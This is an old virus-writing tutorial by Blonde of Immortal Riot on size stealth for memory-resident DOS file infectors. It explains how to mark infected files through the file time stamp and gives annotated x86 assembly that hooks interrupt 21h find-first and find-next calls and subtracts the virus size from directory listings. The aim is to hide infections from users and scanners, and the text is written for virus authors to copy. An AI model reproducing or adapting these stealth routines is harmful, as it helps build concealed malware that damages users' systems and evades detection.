292 lines
12 KiB
Plaintext
292 lines
12 KiB
Plaintext
% Size-stealth by Blonde %
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
Here's a *messy* tutorial written ages ago by Blonde. It contained
|
|
a few errors, which is pretty bad for a tutorial :-), I erased one
|
|
or two, but if you still find a few bugs, deal with it.
|
|
|
|
A few things could be commented better, such as the determination-
|
|
technique for fcb-types, however, I've now fixed that up, so be happy :).
|
|
|
|
Maybe there is no reason for a semi-stealth tutorial since pretty much
|
|
about everyone just rips another viruses stealth-routine, alters the
|
|
infection-check and plugs it in... So it's for those people or for the
|
|
ones who can write a memory resident infector, but have no clue of how
|
|
to stealth the size-increase the virus causes when infecting (Except
|
|
for the 00-fillers, of course), enjoy.
|
|
|
|
- The Unforgiven.
|
|
|
|
|
|
|
|
|
|
- Size stealth using FCB and Handles -
|
|
Written by Blonde/Immortal Riot
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Many new resident viruses include atleast some stealth features, well
|
|
almost all if hiding from dos's mem.com is considered as stealth ;).
|
|
But in this article I'll go through the basic size stealth. Some of you
|
|
(or most of you ;)) already know how to write a size-stealth routine,
|
|
but there is always someone who doesn't. I remember when I tried to
|
|
write it without a clue on how to do it...
|
|
|
|
Size-Stealth:
|
|
*************
|
|
|
|
I guess the concept is quite clear ;). It's basically hiding the files
|
|
increase in size when it's infected by our virus. To do that you have to
|
|
be resident of course, but you can't do anything about that, except make
|
|
the virus a fast replicator ;)
|
|
|
|
Okey, well first of all you have to mark the infected file somehow. Most
|
|
writers choose to mark the seconds in the time stamp, since they're
|
|
seldomly used. You *can* of course open the file and check your jmp or
|
|
id-marker, but doing it that way would slow down the filesearch in
|
|
a large directory a lot. Thats why its easier(and better) mark the time
|
|
stamp!
|
|
|
|
You can mark the file as you like, but this is how I generally do. Just
|
|
before you're about to restore the time/date stamp of the file just alter
|
|
CX to hold it. Preferably without altering the hour/min's...
|
|
|
|
;CX=time stamp...
|
|
|
|
and cl,11100000b ;this will zero-out the seconds field since
|
|
;it's the last 5 bits.
|
|
or cl,01110b ;this set this files seconds field to 01110b
|
|
;=14 (28 seconds) = our specific stealth-marker.
|
|
|
|
This is good because it's easy to check if the file was marked by us,
|
|
simply get the timestamp in ax and do an AND al,00011111b followed by a
|
|
XOR al,01110b to get al=0 IF the file was marked by us...
|
|
|
|
We could also mark the time-stamp with the century method. The century
|
|
method is as simple as the seconds method... just add another 100 years
|
|
to the year field and remove them in the resident stealth routine, this
|
|
method is good if you've got a mbr infector or something like it,
|
|
because if the virus isn't in the memory this method will generate
|
|
TBAV's 'T'-flag and probably trigger F-Prot too. But on the other
|
|
hand, no program will be stealthed without being infected... adding
|
|
another century could be done like this...
|
|
|
|
;DX=date stamp
|
|
|
|
add dh,c8h ;this add 100 years to the yearfield it's
|
|
;year-1980=bit 15-9 in dx...
|
|
;0c8h = 100 shl 1, since it's shifted left
|
|
;once
|
|
|
|
To detect this at stealth time simply do a cmp dh,0c8h and if it's
|
|
below then it can't be infected by us... simple right? BUT you'll have
|
|
to stealth the date too so just do a sub dh,0c8h when you stealth the size...
|
|
this might have been a bit fuzzy, if so stick to
|
|
the seconds method ;).
|
|
|
|
Say we've marked all our infected files by setting the seconds field
|
|
to 01110b How do we hide the size then? And from what do we hide them?
|
|
|
|
Well we want to hide them from file searches, atleast thats what I'm
|
|
teaching you ;). And DOS mainly provide two ways to search for files,
|
|
via FCB or via file handles. The file handles have been recommended to
|
|
use since DOS version 2+ or something, yet DIR still uses the FCB so
|
|
today we'll have to hide from both of them to get enough coverage, but
|
|
who knows we might be able too lose those FCB's in a future since DOS
|
|
v7.0+ shall use handles ;)
|
|
|
|
We simply add 11h/12h (FCB's) and 4e/4f (Handles) to our interrupt 21h
|
|
handler. Yes, you'll have to hook int 21h by yourself ;)
|
|
It can look something like this:
|
|
|
|
new_int21h:
|
|
.
|
|
.
|
|
.
|
|
.
|
|
cmp ah,11h
|
|
jz stealth_fcb
|
|
cmp ah,12h
|
|
jz stealth_fcb
|
|
cmp ah,4eh
|
|
jz stealth_handle
|
|
cmp ah,4fh
|
|
jz stealth_handle
|
|
jmp dword ptr cs:[Oldint21h]
|
|
|
|
11h and 4Eh is basicly find first and 12h/4Fh is find next, that
|
|
should be a problem... make the 11h/12h point to one routine and
|
|
4Eh/4Fh to another.
|
|
|
|
We'll start with the FCB routine since it's a bit more complicated...
|
|
|
|
|
|
|
|
Stealth_Fcb: ;jmp here from int-hook...
|
|
|
|
pushf
|
|
push cs
|
|
call org21h ;This will fake a call to the real int 21h
|
|
;because else we would not know what to steath.
|
|
;on return ds:dx point to unopened FCB
|
|
|
|
or al,al ;since 11h/12h doesn't set carry flag on error
|
|
jnz stealth_error ;we'll check that the error code=0=no-error
|
|
;or al,al is a smaller variant of cmp al,0 btw!
|
|
|
|
push ax bx es ;save them because we'll alter them
|
|
|
|
mov ah,51h ;get current psp, ah=62h is also ok.
|
|
int 21h ;returns segment of current psp in bx
|
|
|
|
mov es,bx ;es=bx=current psp
|
|
cmp bx,es:[16h] ;this is to check if it's DOS calling,
|
|
jne dont_stealth ;we does this to not screw up programs like
|
|
;chkdsk, this means; we stealth only on 'DIR'
|
|
|
|
|
|
mov bx,dx ;bx=offset to unopened FCB
|
|
mov al,ds:[bx] ;At the first offset of an unopened FCB the
|
|
;drive is stored if it's *not* an extended fcb
|
|
;if it's an extended-fcb, the value it FFh.
|
|
;(Everything is extended-fcb nowadays.. )
|
|
|
|
push ax ;Save AX on the stack (It's FF or 0 )
|
|
mov ah,2Fh ;Get current DTA
|
|
int 21h ;returns dta to es:bx
|
|
pop ax ;Restore AX (Is FF or 0)
|
|
|
|
inc ax ;By Inc AX, we and cmp for ZERO, we can notice
|
|
;if we're dealing with regular or extended FCB
|
|
;types. FFh+1=0, so, if it's *not* 0 after we
|
|
;increased AX (AX=AX+1), it's not zero, then its
|
|
;not an extended-FCB-type either.
|
|
jnz regular_fcb
|
|
|
|
add bx,7h ;If extended, add 7 to bx, this is the ONLY difference
|
|
;between extended and regular FCB's, the extended has
|
|
;some extra bytes which would fuck up our offset if we
|
|
;didn't care...
|
|
regular_fcb:
|
|
mov ax,es:[bx+17h] ;get time stamp from the DTA (es:bx pointer, 17h=adress)
|
|
|
|
and al,00011111b ;kill everything but seconds field
|
|
xor al,01110b ;xor with our timestamp
|
|
jnz dont_stealth ;if al isn't zero the file wasn't marked by us!
|
|
;check your logic book if you don't understand XOR!
|
|
|
|
cmp word ptr es:[bx+1Dh],vsize+mininfectsize
|
|
|
|
ja stealth ;this is obvious, if it is large enough to be
|
|
;infect, stealth it...
|
|
|
|
cmp word ptr es:[bx+1fh],0
|
|
|
|
je dont_stealth ;since COM-files cannot be over 64k, don't stealth
|
|
;files which are so large.
|
|
|
|
stealth:
|
|
sub word ptr es:[bx+1Dh],vsize ;stealth it!
|
|
;sbb word ptr es:[bx+1Fh],0 ;No need to stealth high-word for
|
|
;COM-infectors only, Blonde :-).
|
|
|
|
|
|
dont_stealth:
|
|
pop es bx ax ;restore these
|
|
stealth_error:
|
|
iret ;return to the caller with or
|
|
;without stealth
|
|
|
|
|
|
I guess this could be hard to get at the first view... but it's easy.
|
|
First of all you fake an int call because you want something to
|
|
stealth... then you get the current psp, no problems there... You check
|
|
to see if it's dos calling. Then you move the byte at PSP:0 into al.
|
|
That's because you must check if it's an extended FCB. The difference
|
|
between regular and extended is that an extended FCB also includes some
|
|
DOS RESERVED areas which one must skip to get to the information you
|
|
want... A fact is that the regular fcb is almost unused only dos versions
|
|
prior to 4 used it. Then you get the address to the DTA, it's returned
|
|
in es:bx, next check if it's an extended FCB and add 7 to bx if it is...
|
|
(thats because of the reserved areas) then one stores the timestamp from
|
|
the dta in ax.
|
|
You then must and/xor al to see if your marker is there... if it isn't you
|
|
bail. If it's there you check if the filesize isn't too small, note that
|
|
you first have to check if the low word is larger than the virus if it is
|
|
stealth it. If it's smaller then check the high word (ie. how many 64k
|
|
block is it?), if it's zero then it's impossible to infect the file...
|
|
|
|
If all thats a match we subtract the virus-size from the filesize at
|
|
es:[bx+1Dh] (low word) and es:[bx+1fh] (high word)
|
|
|
|
Finally we pop es/bx/ax and iret to the calling routine.
|
|
|
|
And now to the handle routine, it's simpler than the FCB routine
|
|
because all we need is the DTA... but I guess you already knew that ;)
|
|
|
|
Stealth_Handles:
|
|
|
|
pushf
|
|
push cs
|
|
call org21h ;still fake
|
|
jc stealth_error ;we can use this since 4e/4f sets the
|
|
;carry flag on error
|
|
pushf
|
|
push ax bx es ;push the flags because they'll be altered by
|
|
;the int call
|
|
mov ah,2fh
|
|
int 21h ;get dta in es:bx
|
|
|
|
mov ax,es:[bx+16h] ;get time stamp
|
|
|
|
and al,00011111b
|
|
xor al,01110b
|
|
jnz dont_stealth ;If not zero, then file is not infected!
|
|
|
|
cmp word ptr es:[bx+1Ah],vsize+minsize ;check if file is too small?
|
|
ja stealth
|
|
cmp word ptr es:[bx+1Ch],0
|
|
je dont_stealth ;check if file is too large?
|
|
|
|
stealth:
|
|
sub word ptr es:[bx+1Ah],vsize ;Substract code-lenght
|
|
;sbb word ptr es:[bx+1Ch],0 ;Still no need to sub high-word..
|
|
|
|
dont_stealth:
|
|
pop es bx ax
|
|
popf
|
|
stealth_error:
|
|
retf 2 ;return far, pop 2 off stack (cs:ip)
|
|
;don't pop flags since they're may be
|
|
;altered by int call
|
|
|
|
The handle-stealth routine should look really familiar ;) It's almost
|
|
exactly the same as the FCB routine, but you don't have to bother about
|
|
those extended fcbs and stuff, but I'll go through it anyway... but
|
|
just on the points that differ from the fcb routine...
|
|
|
|
The jump if carry can be used instead of that or al,al because 4e/4f
|
|
set the carry flag on error...you must also pop the flags just because
|
|
of that, the call might alter them in another way...
|
|
Also get the dta and timestamp and check if it's yours and so on,
|
|
but that shouldn't be a problem, just observe that all offsets change!
|
|
|
|
We use a retf 2 because we don't want to pop the flags of the stack
|
|
since we already done so by ourselfs...
|
|
|
|
It's possible to smash these routines into one, well nearly.
|
|
That can save valueable bytes. I won't bother going thru that here,
|
|
but it's basiclly adding 3 to bx to get the right offset when doing the
|
|
last part, look at my virus Salamander Four which is included at the end
|
|
of this file. It's a com only infector so it'll look a little different
|
|
since you don't have to worryabout the high word of the filesize since
|
|
comfiles only can be 64kb's long...
|
|
|
|
I guess this isn't the best explanation you could get, but it's all
|
|
you'll get from me ;). I'll be happy to answer any questions
|
|
concerning this matter or any other. I'm reachable at TWL/HNS or via
|
|
Nukenet and I'm even on IRC sometimes...
|
|
|